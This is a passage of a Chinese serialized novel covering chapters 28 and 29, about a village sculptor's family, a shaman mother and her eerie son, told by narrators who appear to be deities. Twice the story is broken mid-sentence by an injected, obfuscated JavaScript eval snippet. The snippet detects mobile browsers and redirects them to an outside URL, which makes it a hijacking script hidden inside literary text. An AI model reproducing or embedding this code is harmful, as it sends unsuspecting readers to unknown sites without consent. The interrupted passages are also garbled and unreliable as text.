小白菜得出的结论和李春生预想的略有偏差,他提出的更加大胆,也更加极端,然而李春生决定为他的答案打出一个高分。 李春生注视着小白菜的眼睛,在幼童渴求的眼神中他笑出了声,引得学生发问:“春生老师,你笑什么呀?” 李春生说:“我高兴,小白菜。你答得真好。就带着这个想法,去庄子里筛选答案吧。” 和小白菜之间的拉扯既让他感到兴奋,如同范进中举之后的晕厥,海潮般的情绪让李春生的脸上浮现出潮红,土地的脉搏振动如擂鼓。 他年幼的学生在得到满意的答案之后就蹦跳着离开,李春生扶墙站着,手臂上的伤口又在隐隐作痛。 “春生老师!”金铃儿的声音从背后响起来,李春生在自己最满意的学生面前佯装出无事发生的模样,金铃儿望了眼校门对他说:“春生老师,他又冒犯你了吗?” 李春生摇摇头说道:“没有。你找我有什么事吗,金铃儿?” “老师。”她深吸了一口气,“你希望我们逃走吗?” 李春生一时无话,但沉默也算是一种表态。金铃儿迅速红了眼眶,她一边流泪一边对李春生说:“春生老师,那你们呢?” “中学还有新的学生的,我们不走。” “春生老师,对不起……” “别……”李春生想过去安慰她,却忽然觉得自己配不上金铃儿的一句对不起,也就没有了勇气把手搭在她的肩头。 “对不起,春生老师。我没办法改变整个庄子的想法,还要你和校长,慧慧姐,小季老师为我们操心。如果你们真的想要我们逃走,就一定要等着我,以后有一天我也会成为和老校长一样的人,我要回来,造一个全新的明月庄。” 满分答案。慧慧告诉我,当时她远远地站在金铃儿后面,看到了李春生的脸上露出短暂的微笑。这微笑转瞬即逝,很快他就问道:“如果离开这里,就要离开家人,去过更跌宕的人生,你们会愿意吗?” “跌宕?至少不是麻木呀。不是刽子手,也不是替罪羊。”金铃儿答道:“春生老师,只管按照你们的计划去做吧,剩下的交给我,我相信你,也请你相信我吧。” 过去,李春生还常在河边徘徊,因为河岸上还站着他的学生。如今,学生与他挥手告别,他便能更加义无反顾地往河中央去了。 “谢谢,金铃儿,谢谢。”李春生说道。 六月结束了,暑假就要开始,明月庄的水田里又将飞来白鹭,这是李春生拥有的最后一个夏天。 28.造像师 三十年前的夏天,七岁的李得彩人生中第一次拿起刻刀,在父亲李金泉垒好的土块上留下锋利的痕迹。他算不上是一个天赋优秀的孩子,落下的第一刀就挨了李金泉的骂,“你的眼睛长在了腿上?这是落刀的地方吗?” 我坐在房顶上看着这个男孩手足无措地站着,慧慧在我身边躺倒冲着天空指桑骂槐,“我早说啦,各人有各人的秉性,求我也是没用的。明明昨日还自己摆手说孩子不聪明呢,应了他的话怎么还要发脾气。” 李春生在墙边开口说道:“两种表现都是因为他好面子,李金泉的内心是不接受一个平庸的儿子的。”他说的不错,我们见过很多李金泉这样的人,他们的谦虚是为了反差做的铺垫,他始终确信自己家的塑像手艺将一代一代愈加熠熠生辉,子代的平庸比他自己的没落还要难受。 “真复杂。”慧慧抱怨了一句后就坐起来,嘴里叼着狗尾草说:“我宁愿这世上都是小狗小猫,我自在,他们也自在。” 我说:“世上若是没有人,你我也都不会存在了。” “我看做犬神猫神也没什么不好的,比人类的神明轻松得多。”我们一致赞同这个观点,可惜我自打娘胎里落生就决定了这辈子落入人道,另外两位的创造者也为他们框定了人的模样,这就是无法改变的命运,从这个角度看来人和神也是平等的。 “无可奈何是人间的常态。”李春生说罢,就接着关注李得彩的塑像进程去了。此子虽然资质平庸,但耐得住寂寞,吃得下苦,依我们的经验来看,这正是一个卓越的塑像师傅不可或缺的品质。李得彩的行为举止好似枯木,手握刻刀的样子令他自己也像一尊雕塑,这往往是伟大作品诞生的前兆。 挨了李金泉的一顿骂后,李得彩平静地接受了自己没有塑像天赋的事实。他告诉李金泉:“勤能补拙。”便开始了从早到晚的塑像练习。为了让自己握刀握笔的手更稳,他会在天刚蒙蒙亮的时候出来端水碗走路,李春生不放心,总担心某天他会举着水碗滑到清溪河里去,也每天跟在李得彩的身后护着。他塑像的基本功一日比一日强,手脚也一日比一日快,看似蠢笨的练习方法让李得彩的造像技术肉眼可见地飞涨,只有脸部的五官,他始终画不好。 李金泉在认真端详了儿子的最新作品后再次将其砸得粉碎,“废物!我看了你画的东西睡觉就要做噩梦,你一动笔,出来的全是怪物。”然而在我们看来,这个未满十岁的孩子只是画歪了一只左眼而已。 慧慧看不下去,指着李金泉的鼻子骂道:“你在他这个年纪的时候连土都垒不起来,你爷爷的一根棍子差点就把你的腿打断啦,怎么还有脸这样说他!” 我说:“你骂得再大声他也听不见,不如晚上托个梦去好好说一通。” “我不去,他脑子里的东西怕是要脏了我的脚。” 李春生蹲在一地的破碎土块中观察了一阵说道:“他只是还不得要领,小石子卡住了齿轮,算不上大问题。” 这小问题差点就要了李得彩的命。李金泉在某个阴云密布的夜晚招呼两个老友来吃野鲫鱼和黄鳝汤,他们喝了米酒就仿佛给嗓子安了扩音喇叭,李得彩觉得自家的房顶都快要被音浪掀开。其中一个生着扁脑袋的岔开腿说道:“李金泉!快让你们家公子露一手祖传的塑像手艺!让我们这些庶民开开眼!”另一个长着酒糟鼻的附和道:“就是就是!给我们看看塑像李家一代更比一代强的手艺!” 李金泉听了这话显然不太高兴,碍于人情世故他没有反驳,倒是借着酒劲儿扯开嗓子叫喊:“李得彩!他奶奶的你聋了!来啊,给叔叔们表演表演!”他高看了儿子在察言观色和衡量人心方面的感知力,他希望李得彩达到的那种既优秀得挑不出毛病,又明显与父亲的作品存在差距的境界最终没有实现。 一切步骤都很完美,流畅的线条,利落的刻痕,直到李得彩放下刀锋拿起画笔,在塑像的面部落下第一笔颜料开始,李金泉的嘴角就开始抽搐,看到塑像双眼有着高低不同的起点时,他的五官变得比李得彩笔下的还要扭曲。 李得彩漫长的瓶颈期已经超越了李金泉的耐心可承受的范围,他眼角的余光已经能看到扁脑袋和酒糟鼻掩藏不住的嘲笑,在他们发出更大更丢人的声音之前,李金泉起身冲到儿子的表演作品前一脚踹碎了半成品,“丑东西,画出来就是大不敬之罪!” 在两位老友诶哟诶哟的劝慰声中,李金泉感到前所未有的耻辱,他抓起地上最大最坚硬的土块往李得彩头上飞出,我们确信那力道可以把李得彩的脑袋砸出一个大窟窿。 李得彩没有命丧当场,全靠李春生出手挡了一下。 米酒令发泄过后的李金泉坐倒在地,大声哭喊自己子孙福薄,家传手艺就要在他这里结束辉煌的旅程,酒糟鼻不断拍打他的肩膀,用充满油脂味儿的声音假意安慰他。扁脑袋翘着二郎腿说着:“不要着急,不要着急……” 而李得彩呢,耳朵边一道小小的伤口淌下血丝,他在父亲的抽泣声中沉默着蹲下身子,处理地上的一片狼藉。那天晚上,他向着家中的吉祥天师塑像许下了心愿:“天师在上,请让我画好它吧。” 李春生犹豫了很久,最终还是软了心肠,在第二日的清晨李得彩再次举起画笔时,他走上前去把着李得彩的手,协助他画好了关键的落笔。齿轮里的小石子被扫清,塑像彩绘的逻辑开始了生生不息地转动。顺着这一笔,我们共同见证了李得彩补上自己塑像手艺的最后一块拼图,他终于画出了完美的神像五官,这一年,他十一岁。 李得彩朝屋里的李金泉喊道:“爹!爹!我画出来了!我画出来了!” “你画出什么狗屁来了!”李金泉眯着眼睛踱步出来,在李得彩的带领下全方位欣赏了这完美的作品。可他的脸上没有如预期般展露笑颜,面部神情像是铅水般凝重,李金泉围绕着神像转了三圈,对儿子招招手道:“你进来。” 他们在两张靠背竹椅上相对而坐,李金泉的右手扣在桌上不断用食指敲打桌面,在他开口之前,李得彩能感受到的全世界就剩下了食指敲击发出的“叩、叩”声。 “你知道当今天师庙里头的神像是谁造的吗?”李金泉终于开口道。李得彩对这个问题一无所知,他摇摇头,缩着脊背去给李金泉泡茶。 “那是你太爷爷的太爷爷。”他的音调提升了一个度,“他是咱们家百年难遇的天才,刚会走路就能捏人像,在你这个年纪就被当时的神婆子请去造庙里的神像啦!” 李得彩感到羞愧而低下了头,“是我太笨。” 李金泉连连摆手,“我不是要和你说这个!小子,你听好了,你的这位老祖先造的神像栩栩如生,面部刻画神采飞扬,谁看了都会觉得,他好似是真的见过天师似的。可是自从神像落成,老祖先的身上就怪事连连,先是莫名高烧大病了一场,治好了以后他的眼睛就大不如前,毛灰似的一团看不清东西了。再然后不是拿刀划破了手,就是碰到架子摔到了头,事事处处都不顺心啊。” “怎么会?”李得彩仍然保持着听故事的态度,没有意识到李金泉讲这个故事与他有关。 “怎么不会?后来神婆子给他做了一场法事,才知道是他造的像太完美太逼真,冒犯了神明威严,这才遭到了报应!”我们和李得彩一样听了大为不解,“逼真难道不好吗?” “错了!”李金泉跺脚叫道:“墙上的龙有了眼珠子就要飞走,庙里的天师神像太逼真也要出事!你该去神婆子那里好好翻翻《千年万代引》,看看那上面是怎么说的:牛羊有灵,寓于骨血;凡人有灵,寓于真心;神明有灵,寓于造像。这造像说的可不是我们手里做出来的这些,而是最初最早栗子树下的那一尊,而它早就成了黄土,咱们后世做出来的,都是不能企及的仿制品!” 李得彩重复道:“仿品?”他再次挨了李金泉的一拳头,“你就不会说别的呀?”李金泉的表达欲败给了儿子迟钝的感知,他决定坦白:“伟大天师的灵已经随着孕育他的造像化作明月庄的黄土,永生永世扎根在这里了,后来者造出的这样逼真的像来,就是有了染指神明权柄的念头。你的那位老祖先疾病缠身,活到二十岁,留下一个遗腹子就撒手人寰。所以传到咱们手上的规矩,就是画像必定要留有瑕疵!小子,你画的那是什么?那是僭越,是冒犯!难不成,你也想效仿先贤,做神明的主人?” 李得彩听了跪倒在地,把头磕得咚咚响,“不是,我不是。” 李金泉抬起脚尖指了指外面的塑像,“你自己处理吧。” 我很难忘记李得彩怀抱着塑像碎片时的表情,他的眼睛就和故事中的老祖先一样成了一团松散的草木灰。“像是在给自己出殡。”慧慧是这样形容他的。 他开始在“令人满意的画像”、“禁止十全十美”和“与父亲存在差距”之间寻找微妙的平衡,技艺登上新的台阶之后,被摔碎的失败品却越来越多。他不敢再画好,也不敢画得不好,他欺骗自己的手艺故意落下歪曲的一笔,来满足父亲的要求。而李金泉发现来自后代的威胁已经消失,自己还是庄子里独一无二的塑像师,对李得彩也就继续摆出后继无人,家门不幸的态度。 每每谈起这件事,慧慧恨不得抄起李得彩手里的刻刀往李金泉脑袋上戳,“又要他画得好,又不能太好,要令他满意,又不能超过他,这是养儿子,还是养圣人?”轻易的富足带来自私,明月庄的每一粒盐都写上了拥有者的名字,李春生也说不上来明月庄是什么时候开始变成这样的,好像人的腐烂都是一瞬间,在能够被外人感知到的时候就为时已晚。我看见他扶着李金泉家的门框长久地站着,直到月亮周围泛起白色的光晕,最终没有踏入造像师的家门。 即便现在,要李得彩本人回忆少时学习塑像技艺的经历,能够让他主动开口的,也只剩下了手中那只古巴烟斗的来历。 一个从下巴到脸颊都生着络腮胡须的高大男人忽然出现在明月庄的田埂上,没有一个人认识他,也没有一个人主动与他打招呼。有的人说他是个外国人,也有人说他是个出了家的流浪汉,事实上他只是个偶然来到这里采风的摄影师。 这个男人带着照相机路过李金泉的家门口,当即被眼前的景象迷住:一个十几岁,生着黝黑皮肤的少年坐在一地破碎的塑像当中,手持刻刀和画笔对着台子上的黄土塑像露出虔诚的表情,少年的目光看向男人,相机快门也随即被按下。他们之间没有产生任何的交流,直到几个月后这个高大的络腮胡男人再次出现在明月庄。他告诉李得彩,上一次拍摄的照片《残次品》在国外的摄影展览上获了奖,他在当地商店买下了一只烟斗作为送给主角的谢礼。 李得彩看着男人,保持着照片上那副波澜不惊的表情,“谢谢。” 绝大多数的时间这只烟斗都在李金泉的手里,而在李金泉带着万金花罗织的罪名死去以后,李得彩回到家里的第一件事,就是从父亲床下的盒子里取出这只烟斗,紧紧地按在胸口放声大哭。 现在,李得彩坐在圆台的中央,刻刀在手里颤抖,李金泉死后这就成了他的职业病,这一次发作得更严重一些。这是他举着刻刀在迟迟无法落下的第十三分钟,额头汗水混着眼眶里浑浊的眼泪滴到李得彩的手背上。李金泉的影子在数十年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088169|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时间里挥之不去,成了李得彩身后形影不离的高塔。 造像师家族的规矩之一,就是第一刀落下之后就不能停手,精美也好丑陋也罢,务必将手中的这尊塑像做好才算完。 塑像上的第一道划痕许久没有落下,李春生便走向他。 我说:“他一直是这样的,过一会儿就好了。” 我希望他再多等一会儿,李春生没听。他在沉默中坚决地走向造像师傅,从背后握住他手中辛勤工作了几十年的刻刀,迫使他在黄土表面上落下沉重而锋利的一笔。 很快,李得彩就像说出一个隐藏多年的秘密般如释重负,他落下了更多的眼泪,我们知道这与之前的不同,这是释然、幸福和解脱的泪水,在伟岸的神像面前,李得彩开始了自己无人知晓的赎罪。 远处,一毛不拔的瘸子不知从何处找出来一条的确良衬衫,鲜亮的颜色在他身上把苦涩的面相衬得更加滑稽可笑,而他是毫不在乎这些眼光的。他套上新衣服就像一只神气的公鸡,昂首挺胸行走在明月庄的道路上,履行自己的“职责”。 “喂喂喂,这东西怎么能让小孩碰,你们这是亵渎天颜,小心福短命薄!”瘸子指着一户人家喊道,他们那留着胎毛辫子的孩子正坐在笸箩旁边抓里头晾晒的豆子玩,豆子堆上盖着的红纸黄字表明它们将被用作拜神的贡品,瘸子用他充当拐杖的树杈子抽打孩子的手臂,那小孩立马哇哇大哭起来。 “你个死瘸子管到这里来了,有空不如多管管自己的瘸腿!”孩子的母亲从屋里飞出一把扫帚从瘸子的头顶扫过。他的右腿在经历了人骨粉末的热敷之后暂时还没有好转,此处女主人的话戳中了瘸子的伤心处,但他还是挺起胸膛放开嗓子朝里面喊道:“你们这些明目张胆对天师不敬的家伙,统统都要倒大霉!到时候别怪我没提醒你!” “我借你吉言,求你快走!死瘸子别把你那穷酸气带到咱们家里来了!”女主人始终没有露脸,屋外玩耍的孩子在母亲响亮的嗓音中重新展开了笑颜。瘸子碰了壁,反复揉搓衣角,护好鼓鼓囊囊的口袋小声谩骂着离开了,“呸!不长眼的,嘴生疮的,等老子的钱来了,第一个就把你儿子当球踢。” 这位憋了一肚子气的“检察官”可不是毫无目的地游荡,他挪到神婆子的家门口时五官就像发面馒头一般舒展开来,怒气也被风一吹就散了。他重整旗鼓正要往门里跨,小白菜的声音又和之前一样在头顶响起来,“喂,瘸子。” “诶哟,你在这儿呢。” 小白菜骑在围墙上趴下身子,露出半张脸来对他说:“嘿嘿嘿嘿嘿……瘸子,你穿上了新衣服。” 瘸子将下摆一扯,拍了拍袖子,“是的确良的!” “嘿嘿嘿……这是一条好衣服,瘸子,你要多穿它。”小白菜豢养的阉鸡在一旁来回徘徊,一会儿就扑棱着翅膀蹿上了围墙,在小白菜趴着的腰窝处坐下,“瘸子,我知道你今天有重要的事来找我,要不然你的衣裳口袋为什么鼓囊囊?” 瘸子对他点头哈腰,“小仙童,我是半个废人,但你我都是天师的子民,修塔我帮不上太多的忙,但你的老爹李得彩是大功臣,我来送点儿不成样的礼品给你们呐!” “礼品?”小白菜似乎有了些兴致,他向着瘸子露出了一整张脸,伸出左手对他说:“拿来看看吧。” 一个茶叶罐子从瘸子的口袋里掏出来,他拄着树杈子使劲踮脚,小白菜逗狗似的时不时抬高一点儿手臂,惹得瘸子满头大汗才终于把茶叶罐子交到了小白菜的手中。 “拿着,拿去喝吧。” 小白菜一个翻身就从围墙上稳稳地站起来,惊得瘸子伸出手要去接,可他的两条腿稳稳地站立好似插在了墙里,那阉鸡摔倒地上抖抖脖子走了,丝毫没有受到影响。小白菜捧着茶叶罐弯下腰来说道:“瘸子瘸子,我给你一个任务,帮我传一句话。” “你说。” 小白菜指着北边说道:“瘸子瘸子,你去告诉我亲爱的妈妈万金花,以后家里不需要准备我的床铺了,因为我将在围墙上活到死。” “这……”瘸子无法理解小白菜的行为逻辑,但他知道多问也不会得到答案,更何况他的仇人是李得彩,万金花和小白菜的恩怨和他无关,“那么,万婆子在哪儿呢?” 万金花解开衣裳扣子,露出略显松垮的上半身皮肤,她趴在硬板床上双手抓着床脚对身边的女人说道:“弄吧,我不怕疼。” 女人沉默着拿起银针刺向万金花的脊背,看起来她的技艺并不纯熟,捏着针的手指颤抖明显,每过几秒就要瞥一眼万金花的反应,来确定自己下一步施加多少的力度更合适。床上的神婆子紧抓着桌腿,与女人默契地一言不发。她已然没有后悔的余地了,在踏进这间屋子之前,小白菜的话已经令她神经衰弱,她的头发会顺着手掌的抚摸而大把脱落,连眉毛也悄无声息地掉着,她看到自己眼球中的红血丝像章鱼触手似的要把瞳孔碾碎,手臂上因为连夜的抓挠而凸起凌乱的红色痕迹。 红色,红色,红色,一切都是红色。万金花看到仪式上的牲畜鲜血,想到盖在贡品上的红布,还有预备好的红油漆红墨水,小白菜的嘴唇和舌头,她的世界被红色的狂潮淹没了。她受不了了,急于结束这糟糕的一切。要斗法就让他斗去吧,也许还是个彻底除掉小白菜这个威胁的好机会。 于是万金花想到,她应当成全这红色的盛宴,也让这红色来成全她。她找到这个女人,要她在自己的后背留下红色的刺青。 “刺什么?”女人问她。 万金花趴在床上思考了一阵说道:“黄天仙道万家门。” 29.红 李月贤觉得李有福大概是死了,数个夜晚之后他依旧没有拎着渔网归来,多少也暗示了他悲剧的结局。我将尸首带走埋葬的行为并不能扭转这件事的性质,只是希望能尽量减轻她们的痛苦。 “我想,是庄子里的人害了他。”李月贤一边雕刻手里的木块一边说道,她不曾表现出悲伤或是愤怒,和她手里的木头一样平静。很可惜,出于燃灯星君的身份,我不能再对她们说得更多。我只是在李月儒身边站着,她在门口护着一支点燃的红蜡烛,固执地想要等到父亲归来。 李月儒忽然问我:“哥,你说人死了是什么样子?” 我说:“人死了,就是白骨骷髅,谁都一样。” 蜡烛的火焰微微摇晃,烫到了一点她的手掌,我把蜡烛接过来端着,忽然觉得这个样子才更符合燃灯星君的名号。李月儒靠着门框蹲下了,我能听到她的声音哽咽,“那活着时候的不同算什么?” 我想起来孟明达曾说的话,照搬来答复她:“算体验。月儒,人都是被时间推着走的,叹气也没有用。” “我不是在叹气。”李月儒说道:“我只是觉得不公平。” 融化的蜡烛油顺着烛台滴到我的手上,常人不能忍受的温度对我来说只是有些温热的感觉,所以慧慧总说,我的皮肤比我本人的气质更像一个死人。我对李月儒说:“可惜这不公,没法依靠人来逆转。” 神也不行。 过了一会儿,我在昏暗中听到李月儒说:“所以有人要拜神,求仙家改运,或者行善积德,修一个来世的好因缘。” 她并不知道神也对此无能为力,至少在明月庄是这样。我问她:“你相信来世吗?” “若是真有,行善积德,真的能换来世好命吗?” “能吧。”我说完,蜡烛的火焰就熄灭了。 几日后我坐在一家小卖店的门口仍然想起这个夜晚的谈话,孟明达窝在一张板凳上啃一支冰棍,他聚精会神地听着收音机里播报的彩票中奖信息。我要是早一些听到这新闻,或许就能告诉李月儒,我们生来都是一串随机选择的数字,有的数字意味着财富,有的一文不值,数字的组合千千万万,含义也是千千万万。谁都想选到一个金银满身的数字,又不可能预见未来。 所以她所说的不公,不过是来不及。受苦的来不及享他的福,作恶的报应来太晚,来世的幸福终究无法弥补今生的苦,同样的,惩罚性地让恶人在来世受苦,也不能挽回他已经造成的错误。我开始怀疑这默守了数千年的规则,它似乎不太合理,我却没有能力改变它。 孟明达发出懊恼的喊声,感叹自己再次错失了中奖的机会,随后把冰棍咬下了大半,从冰柜里取了一支新的戳戳我的肩膀,“你不热啊,我请你吃。” 我当然不热。冰棍的包装纸已经缓慢地渗出水珠,这东西不适合我,也许适合今天在场的另一个人。她和我们一样,正等待着李月儒从棉纺厂出来一起回家。我看到那天她用红头绳绑起了头发,太阳照射下的头发纹理类似上好的动物皮毛。 我们隔着街道遥遥相望,我站起身来向着慧慧的方向走去。 “你怎么来的?” 言下之意是我闻到了她肩膀上淡淡的熟栗子香味,我将冰棍举起来一些,好让慧慧顺势把它从我手里叼走。 “我不能来?” 她拿着冰棍反问道。 我便更直接地问她:“李春生和你说了什么?” “说了很多,你想从哪里开始听?” “你想从哪里开始讲?” 从慧慧思考的时间来判断,她大概认真筛选了过去十几日内的见闻,从中挑选出最适合作为引言的片段来告诉我。“好吧,那得从一瓶红墨水开始讲起。” 慧慧说,她是在明月庄东北角,清溪河最不显眼的一条支流旁边看到那丝丝缕缕的红色的。她很确信那红色并非动物血液,那样鲜亮的红色只可能是某种人造的东西。墨水在河面下形成烟雾,好似水生动物之间的屠杀。慧慧当即就知道这墨水是从河边从不见炊烟升起的房子里被倾倒出来的。她上一次见到这红墨水和沉默的屋宇,还是作为文慧菩萨在明月庄的保胎仙娘娘庙里的事情。 慧慧本人是不介意人们错误理解了她的职责的,因为这并不影响她履行本职,也并未造成多余的负担,除了每天要听到更多的废话以外,并没有造成实质性的伤害。她记得那个女人来的时候,皮肤像是经过了百年的风吹日晒那样没有血色。女人敬过了香,跪在蒲团上手里抱着的是一个已经死去的孩子。 “她不用开口,我就知道那孩子是她的。”慧慧的语气变得冷静又平淡,“虽然管不着生老病死的事儿,但这样的人我见的不比你们两个少。她一进门我就知道又要说一些我爱莫能助的话了。” 慧慧说的不错,女人翻开棉布襁褓,对着菩萨像展示了孩子胳膊上的红色刺青,那必定是在孩子弥留之际,尚未咽气的时候刺上去的。 “一个红色的小虎头,我记得很清楚。”慧慧在空中比划了一个鸡蛋黄大小的圆。 女人说:“仙家,我这个孩子命薄,但是神婆子已经告诉我,天师说了他和我情浅缘深,来世还是能相遇的。仙家,我的眼睛哭坏了,一日比一日差,只有这从小看到大的红墨水我看的最清楚,我在他胳膊上做了记号,以后遇到了就能认出来。麻烦仙家,若是带着他重新投胎,就算不能再来我这里,也千万离我近些,拜托了。” 明月庄的人为了自己的利益已经编造了很多无稽之谈,这也算是其中之一。慧慧可怜她,但也帮不了她。我问慧慧如何就确定她就是倾倒红墨水的人,慧慧告诉我:“因为明月庄里不存在第二个会刺青的女人,他们家的手艺除了她,已经没有人在传承了。”她还记得那女人的名字——柳姑娘。 “姓柳?”我的印象中明月庄并没有这个姓氏。 慧慧说:“姓孟,孟柳。”不知为什么,她说完朝着收音机前的孟明达看了一眼,我还以为这个孟柳和孟明达又有什么千丝万缕的联系,当下的麻烦已经足够多了。 “你别紧张,只是他们姓的一样多看一眼而已。”慧慧及时打消了我的顾虑,然后抛出自己的疑问:“你就不觉得奇怪?同样是家传手艺,怎么李得彩家就飞黄腾达,别人家就断了路子?” “因为那是明月庄。”我说,“明月庄的手艺存在有用和无用之分,但有用无用的标准并不是给人定的。” 我不必说完她就明白了接下来的逻辑,“所以柳姑娘也好,李得彩也罢,一切能为神所用的才会被重视。” 慧慧话音刚落就未雨绸缪地“威胁”我,“你要是再敢说‘孺子可教’四个字,我一定把你下巴卸了。”她说这话时始终笑眯眯的,更平添了一份威慑感,不过我的确不打算说这四个字。 “头绳松了。”我指着她右耳边摇摇欲坠的发辫说道。 于是我看着她重新编好头发,感觉手法和捆螃蟹也大同小异,但这话我不敢说。她把只剩一口的冰棍叼在嘴里背对着我,声音也变得更沉闷了一些 。 “然后呢?柳姑娘和我们认识的哪位人物产生了联系?”我问道。 那当然是眼下明月庄最忙碌的人万金花了。 得益于在学生们当中的亲和力,慧慧有着整个庄子最灵通的消息网,侦查到红墨水的线索之后没多久,就传来了万金花告假暂时从监工位置上退下来的消息。神婆子的麻烦不比我们的少,先是小白菜的身份让她产生的恐慌,又有瘸子莫名其妙地来提天师托梦的事,还有小白菜胡言乱语的什么斗法,现在又要住在围墙上,他若不是万金花货真价实怀胎十月生下来的,反倒不会让她如此困扰。 神婆子陷入权力和血缘亲情之前的两难抉择,她好歹还算是个望子成龙的母亲,然而上升的道路却以意想不到的形式在她眼前展开了。万金花最讨厌抓不住,和没有把握的东西,小白菜却正以肉眼可见的速度向这个方向转变。 万金花扶着腰回到家中的时候,小白菜就盘腿坐在围墙上闭着眼晒太阳,他一动不动地说:“妈妈,我不必睁眼就知道是你回来了。” “哼,你要在墙上睡觉就睡去,但我告诉你,不下来就没饭吃,别想着我给你送。” 小白菜没有和过去一样露出凶狠的表情,而是继续闭着眼睛说:“是吗妈妈?原来你这么狠心。” 万金花呵斥道:“我不狠心就让你们逼死啦!我哪天要是咽了气,这个家的每个人都是凶手!” “嘿嘿嘿嘿……”墙上的孩子往后一仰,整个人精准地躺在墙沿上,他还是没有正眼去瞧自己的母亲,而是对着鸡棚招招手,那只阉鸡就灵巧地飞上来在他柔软的肚皮上窝着,“妈妈,你回来休假,并不是真的病了或是累了,对不对?” 墙下的母亲一扭身子关上了院门,“这作孽的,还轮得到你来管我了,我说累了就是累了要休息,和你要上墙睡觉是一个道理。” “那可不一样啊妈妈。”小白菜捧着温顺的阉鸡直直地坐起来,他把鸡放在自己的头顶上,那阉鸡也安静地一动不动,“我要在墙上生活,是我深思熟虑的结果。” “你脑仁还没瓜子大,深思熟虑个羊屎蛋!” “嘿嘿嘿嘿嘿……”小白菜掩面笑着,这是他难得的比较接近六岁孩童的时刻,“妈妈,每一次你说脏话骂人的时候,就是想不到别的来反驳了,我早就参透了这个道理。妈妈,不妨告诉你吧,墙上的位置才适合我呢,地上的泥脏了我的脚,还让我看不清远处的东西,而在这围墙上,阳光最先照到我身上,我能看见的也最远,最重要的是,明月庄的所有人,都要仰着头与我说话,如此,我就能看清楚每个人的脸。” 万金花说:“不仰着头,难道我去地里找你?” “没关系的妈妈,你们现在不习惯,以后就好了。我是想让你们提前适应,未来每天都要仰望我的生活啊。” 仰望,这个词让神婆子想起东边在建的高塔,还有明月庄随处可见的神像,那天从小白菜口中吐出的“斗法”一词又在耳边飞机般地轰鸣。 我听了说道:“看来万金花对小白菜还是束手无策。” 慧慧背靠棉纺厂的围墙,抚摸着墙面说:“她是一个母亲,和亲儿子对抗不是那么容易的事,但她也没那么容易妥协。我的小朋友们告诉我,万金花对每个来看她的人都说自己后背疼,她露在外面的皮肤却没有一处有着刺青的痕迹,你猜她的秘密藏在哪里?” “可我们不知道她究竟纹了什么,除非找柳姑娘。” “柳姑娘现在还在家里好好的活着,我想就算找到她,也问不出来什么。神婆子与人交易的筹码千千万万,她总能找到最有用的那个。” 这就是我最讨厌的情况,一切都清楚地浮在眼前,我却什么也做不了。 慧慧终于说到了和李春生有关的部分,“这些事都发生在我今天与他见面之前,他丢了一双眼睛,顾不上那么多人。所以李月来,纠正一下你的固有观念,是我主动去找的他。” 经过了这些时间,慧慧身上的熟栗子味儿已经逐渐淡去,取而代之的是她衣服上的皂角味道。慧慧告诉我,她将自己的推测转达给李春生后,只与他说了一件事,“我知道你在操心什么,你要涉水渡河,但岸上的红线太多让你行进不得,把丝线都交给我吧。除了能直达对岸的路,其他你就什么都你不必想,我会代你一一解决。” 李春生听罢,只道了声“谢谢”,就孤身一人往小白菜生活的围墙去了。 慧慧再次在我开口之前阻止我,“到了现在,我们该少插手他的事了,尤其是你,李月来。” “我本来也没有插手很多。” “你可能还是没太明白。”慧慧问,“李月来,你有设想过以后的日子吗?他不在之后的日子。” 其实是想过的,但我怎么想也就是和以前一样,白天在各处游荡,累了就在山羊坡上躺下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091605|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡觉,到了夜晚就开始履行自己引路人的职责。这些事我早就做习惯了。所以我答道:“无所谓吧。” 她听了就笑,我问她为什么,慧慧只说李春生看人挺准。 还没等我说什么,棉纺厂的铃声就准时响了起来,孟明达从凳子上蹦起来就往我们这边跑,这点路程就已经让他气喘吁吁,撑着膝盖断断续续地说道:“你……你放心吧,月儒妹子……她准没问题。是我……我的本事就这么大,只能……找到这儿的工作了……她先……先试试,以后再想办法诶哟……” 慧慧掏出一份清单,“工厂停机,工人换衣服,杂七杂八还要一会儿呢。这是我和小季老师一起盘点的清单,我的小朋友们需要些东西,来保持对新生活的向往和期待,麻烦二位采购一下,月儒我看着呢。”很难会有人对着慧慧的笑脸拒绝她的请求,况且这些东西并不难搞,大部分在方才的小卖店里就能买到,另外一些穿过一个转角,在电线杆旁边的书报亭里也能解决,孟明达直拍大腿,“诶!好嘞!”便全然将刚才上气不接下气的狼狈样子抛诸脑后了。 不出所料,李月儒今天来试工的结果很顺利,只是她看到我们有三个人等着她下班回家,着实还是吓了一跳。孟明达在这时候跳出来说:“行了,哥请各位吃饭!庆祝月儒小妹的新生活顺利开始,以后自力更生,骂人的时候腰杆都直!” 我看了慧慧一眼,“行吗?李春生那里……” “行。”她回答得坚定,“你放心,事态始终在他的掌控之中。” 于是当我们乘着孟明达的面包车驶向新生活的庆祝餐时,围墙上的小白菜还始终没有等来母亲的投喂,他躺在墙上饥肠辘辘,并无声地咒骂着万金花居然真的打算饿死他。但现在就下墙屈服于饥饿对他来说是不可忍受的,因此小白菜继续躺着,毫不理会过路的人。 他的鼻腔比任何器官都更先察觉到食物的接近,抽动了两下之后李春生的声音就在墙下响起来,“小白菜,你饿了吧?” 